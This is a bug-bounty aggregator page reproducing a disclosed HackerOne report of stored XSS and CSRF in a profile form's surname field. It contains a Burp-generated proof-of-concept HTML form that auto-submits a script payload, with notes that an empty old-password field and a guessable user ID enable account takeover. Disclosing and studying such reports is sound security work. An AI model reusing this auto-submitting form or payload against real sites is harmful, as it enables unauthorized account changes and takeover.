Skip to content
XSS Disclosed report Beginner

Stored XSS + CSRF in "apellido" value

The report places a script payload in the surname field and shows a cross-site form submission without a token, claiming account takeover.

never_die Follow

Originally disclosed on HackerOne

  • Triaged in 4 days
  • Fixed in 25 days
  • Disclosed after 2 months

Summary:

Hi team,

Steps To Reproduce:

[add details for how we can reproduce the issue]

This is my CSRF POC:

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="██████" method="POST" enctype="multipart/form-data"> <input type="hidden" name="nombre" value="aaaaaaaaaaaaaaaa" /> <input type="hidden" name="apellido" value="<script>alert()</script>" /> <input type="hidden" name="email" value="weqwad&#64;intigriti&#46;me" /> <input type="hidden" name="rut" value="" /> <input type="hidden" name="idProvincia" value="15" /> <input type="hidden" name="idLocalidad" value="0" /> <input type="hidden" name="optin&#91;usuario&#95;info&#95;miroyalcanin&#93;" value="no" /> <input type="hidden" name="optin&#91;usuario&#95;info&#95;miroyalcanin&#93;" value="si" /> <input type="hidden" name="optin&#91;usuario&#95;info&#95;marspetcare&#93;" value="no" /> <input type="hidden" name="optin&#91;usuario&#95;info&#95;marspetcare&#93;" value="si" /> <input type="hidden" name="optin&#91;usuario&#95;investigaciones&#93;" value="no" /> <input type="hidden" name="optin&#91;usuario&#95;investigaciones&#93;" value="si" /> <input type="hidden" name="optin&#91;usuario&#95;info&#95;perros&#93;" value="no" /> <input type="hidden" name="optin&#91;usuario&#95;info&#95;perros&#93;" value="si" /> <input type="hidden" name="optin&#91;usuario&#95;info&#95;gatos&#93;" value="no" /> <input type="hidden" name="optin&#91;usuario&#95;info&#95;gatos&#93;" value="si" /> <input type="hidden" name="switch&#95;pass" value="off" /> <input type="hidden" name="ck&#95;oldpass" value="" /> <input type="hidden" name="oldpass" value="" /> <input type="hidden" name="clave" value="" /> <input type="hidden" name="clave2" value="" /> <input type="hidden" name="idUsuario" value="91737" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

The "oldpass" value can empty to bypass:))

The "idUsuario" value requirement can guess!!!

impact:

Account Takeover

The original report as published on HackerOne, by never_die. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the surname field was saved without sanitisation and the profile form lacked an anti-CSRF token.

Impact

The author claims account takeover, though the text gives no demonstration of how the stored script or the cross-site form submission actually leads to it.

What the attacker needed

Attacker can submit the profile form

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The report puts a script payload in a surname field and shows a form submitted cross-site without a token, claiming account takeover.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by never_die

View all

1 more disclosed report, best first.

More from Mars

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.